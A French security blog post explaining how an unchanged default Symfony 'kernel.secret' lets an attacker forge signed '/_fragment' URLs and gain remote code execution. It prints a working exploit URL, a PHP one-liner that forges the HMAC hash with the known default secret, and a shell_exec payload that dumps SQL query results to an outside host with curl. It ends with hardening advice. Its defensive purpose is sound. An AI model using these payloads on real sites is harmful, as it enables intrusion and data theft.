Sécurité : comment protéger votre DXP OU CMS d'une attaque RCE ?

Ahmed Eben Hassine

Symfony, attention à vos valeurs par défaut !

 

Le paramètre "framework.secret", pas si "secret"...

Le paramètre "framework.secret" prend toute son importance lorsque l'on utilise du caching via les fragments ESI. Une petite injection sur l'endpoint "/_fragment" peut amener une attaque RCE et ce tout simplement, parce que le paramètre "kernel.secret" n'est pas vraiment "secret" comme il est censé l'être !

Prenant l'exemple du site : site-non-protege.fr où la valeur actuelle du "kernel.secret" est celle de la valeur par défaut fournit lors de l'installation. La première injection permet d'accéder au phpinfo avec le flag -1:

https://www.site-non-protege.fr/_fragment_path=what%3D1%26_controller%3Dphpinfo&_hash=f%2BkpW9l1Gqx%2B9QJPLGnBhQvqMNRLTee2%2F8cVF1OEkDE%3D

et cela peut même aller jusqu'à exécuter du shell code !

Par exemple : 

_fragment?_controller=shell_exec&_path=cmd=../bin/console doctrine:query:sql "SELECT ..." | curl -X POST --data-binary @- https://exemple.api.net)

Explication technique :

L'idée est de bypasser la 403 retournée par le FragmentListener::onKernelRequest#L69 à travers la validation du "_hash" passé en query param. Il suffit juste de générer le bon _hash via HMAC algo. 
Par exemple si le secret égale à ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt, alors nous pouvons reproduire le hash en nous inspirant du traitement fait dans l'UriSigner::computeHash()

https://github.com/symfony/http-kernel/blob/5.x/UriSigner.php#L93 :

php -r "print base64_encode(hash_hmac('sha256', 'https://www.codein.fr/_fragment?_path='.urlencode('what=-1&_controller=phpinfo'), 'ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt', true));"

De cette manière, je m'autorise à injecter dans la requête, mes propres attribues avec les arguments nécessaires dont j'aurais besoin pour exécuter au niveau du HttpKernel::handleRaw#L157

À ma connaissance, le "kernel.secret" ne sert pas seulement à signer les Uris des fragments, il est utilisé également lors de :

Mettre à jour le "kernel.secret"

En conclusion :

  • Mettez à jour la valeur du "kernel.secret" lors d'un composer create project !  (php -r "print bin2hex(random_bytes(32));" devrait suffire pour générer un bon hash solide.)
  • Si vous n'utilisez pas les hincludes et que vous utilisez les ESI, mieux vaut restreindre l'accès à la route "/_fragment" grâce à une configuration VCL.

A lire aussi

Ansible, Netbox, Terraform, Packer, Rundeck : présentation et utilisation
Vous vous demandez comment choisir la meilleure plateforme de e-commerce BB ? ...
Voir tous les articles